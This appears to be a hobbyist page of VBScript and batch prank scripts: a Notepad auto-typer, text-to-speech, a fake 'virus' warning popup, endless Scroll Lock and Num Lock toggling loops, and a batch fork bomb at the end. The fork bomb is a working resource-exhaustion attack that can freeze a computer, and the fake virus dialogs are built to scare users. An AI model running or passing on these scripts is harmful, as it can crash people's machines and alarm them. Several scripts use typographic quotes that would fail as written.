Automate Typer

Set wshshell = wscript.CreateObject(”WScript.Shell”)
Wshshell.run “Notepad”
wscript.sleep 400
wshshell.sendkeys “H”
wscript.sleep 100
wshshell.sendkeys “i”
wscript.sleep 200
wshshell.sendkeys ” ”
wscript.sleep 200
wshshell.sendkeys “I”
wscript.sleep 200
wshshell.sendkeys ” ”
wscript.sleep 100
wshshell.sendkeys “a”
wscript.sleep 100
wshshell.sendkeys “m”
wscript.sleep 200
wshshell.sendkeys ” ”
wscript.sleep 100
wshshell.sendkeys “a”
wscript.sleep 100
wshshell.sendkeys “”
wscript.sleep 100
wshshell.sendkeys “V”
wscript.sleep 100
wshshell.sendkeys “B”
wscript.sleep 100
wshshell.sendkeys “S”
wscript.sleep 100
wshshell.sendkeys “”
wscript.sleep 200
wshshell.sendkeys ”c”
wscript.sleep 100
wshshell.sendkeys “o”
wscript.sleep 100
wshshell.sendkeys “d”
wscript.sleep 100
wshshell.sendkeys “e”
wscript.sleep 100
wshshell.sendkeys “”
wscript.sleep 100
wshshell.sendkeys “!”
wscript.sleep 100
wshshell.sendkeys “!”
wscript.sleep 100
wshshell.sendkeys “!”
Save it as Anything.vbs 

 

Let the computer Talk

With this vbs file, you let your computer talk.

Let it say what you want !!! 


Dim message, sapi
message=InputBox("What do you want me to say?","Type here the text what you want !!!")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

Save it as Anything.vbs

 

Play windows start up tone and covey a message ...

Set objVoice = CreateObject("SAPI.SpVoice")
Set objFile = CreateObject("SAPI.SpFileStream.1")

objFile.Open "Windows XP Startup.wav"
objVoice.Speakstream objFile
Wscript.Echo "your message here"

Save it as Anything.vbs

 

Making the "virus"

 First, open up notepad, and then just copy-paste this code in between the lines (without the lines included of course) :

____________________________________________________________________________
Msgbox "Your computer has been infected by a virus",16,"Warning !"
dim x,yes,no
x=Msgbox("Virus has infected hard drive (C:). Deletion of the virus will require complete formatting of hard drive (C:). Would you like to format hard drive (C:) ?",52,"Warning !")
if x=6 then
dim box
box=Msgbox("Hard drive (C:) formatting complete. In order to function correctly your computer must restart, would you like to restart now ?",36,"Formatting has been completed")
if box=6 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidding, this was all a joke, but i did scare you didn't I ? Héhé...",64,"Made by GillesM95"
end if
if box=7 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidding, this was all a joke, but i did scare you didn't I ? Héhé...",64,"Made by GillesM95"
end if
end if
if x=7 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidding, this was all a joke, but i did scare you didn't I ? Héhé...",64,"Made by GillesM95"
end if

Save it as Anything.vbs

 

Scroll Lock Hack

    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{SCROLLLOCK}”
    loop
      Save it as Anything.vbs
       

      Numlock Hack

        Set wshShell =wscript.CreateObject(“WScript.Shell”)
        do
        wscript.sleep 100
        wshshell.sendkeys “{NUMLOCK}”
        loop
          Save it as Anything.vbs
           

          Fork Bomber

          @ECHO OFF
          :START
          START fork.bat
          GOTO START

          Save it as Anything.bat